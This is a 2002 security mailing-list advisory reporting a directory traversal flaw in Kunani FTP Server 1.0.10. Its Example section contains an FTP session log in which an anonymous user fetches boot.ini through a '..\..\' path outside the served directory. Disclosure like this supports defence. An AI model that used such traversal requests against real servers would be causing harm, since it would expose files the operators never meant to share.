[NT] Kunani FTP Server Vulnerable to a Directory Traversal Attack

From: support@securiteam.com
Date: 12/12/02

  • Next message: support@securiteam.com: "[NT] Directory Traversing Vulnerability in 'myServer' Web Server" 
    From: support@securiteam.com
To: list@securiteam.com
Date: 12 Dec 2002 18:45:29 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Kunani FTP Server Vulnerable to a Directory Traversal Attack
    ------------------------------------------------------------------------

    SUMMARY

    Kunani FTP Server is a free Windows based FTP Server, the product has been
    found to contain a security vulnerability that allows remote attackers to
    view files and directories outside the bounding FTP directory.

    DETAILS

    Vulnerable systems:
     * Kunani FTP Server version 1.0.10

    Example:
    ######################################################
    Verbindung mit server.
    220 Kunani FTP Server Ready ( www.kunani.com )
    Benutzer (server:(none)): anonymous
    331 Password required for anonymous.
    Kennwort: billsucks
    230 User anonymous logged in.
    Ftp> get ..\..\..\..\..\boot.ini
    200 PORT command successful
    150 Opening ASCII mode data connection for /bin/ls.
    226 Transfer complete.
    Ftp: 1337 Bytes empfangen in 0.00Sekunden 175000.00KB/Sek.
    #####################################################

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:zero-x@linuxmail.org> Zero-X
    www.lobnan.de Team.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

    Relevant Pages

    • [NT] Microsoft Internet Explorer FTP Command Injection Vulnerability
      ... Get your security news from a reliable source. ... Microsoft Internet Explorer FTP Command Injection Vulnerability ... possibly steal data and upload malicious files to an FTP server under the ...
      (Securiteam)
    • [NEWS] 3com NBX IP Phone System Denial of Service Attack (CEL)
      ... Beyond Security would like to welcome Tiscali World Online ... It was possible to make the remote FTP server crash by issuing this ... a windows client by telneting to the NBX server on port 21 or by ... call manager located on the outside of their firewall, ...
      (Securiteam)
    • Re: Strange response from network
      ... > to guess what service generally resides at the open port it found. ... > instance, if I ran my FTP server on port 22, nmap would detect it as an ... Ethical Hacking at the InfoSec Institute. ... learn to write exploits and attack security infrastructure. ...
      (Pen-Test)
    • Re: MT Newswatcher
      ... Having MT-NW automatically fetch the file from a ftp server is similar, ... As far as security goes, you are just as responsible for maintaining the ... file only contains the names of news groups to which you are subscribed ...
      (comp.sys.mac.apps)
    • Re: VFP 9: Help with sending/receiving XML via FTP
      ... Be prepared to answer the coming questions - I have seen too many setups where security was slapped on in a hurry. ... FTP server and the risks of someone connecting with FTP client, ... Technology in itself is so used that "administration" can be handled by almost anybody - less need for admin knowledge. ...
      (microsoft.public.fox.programmer.exchange)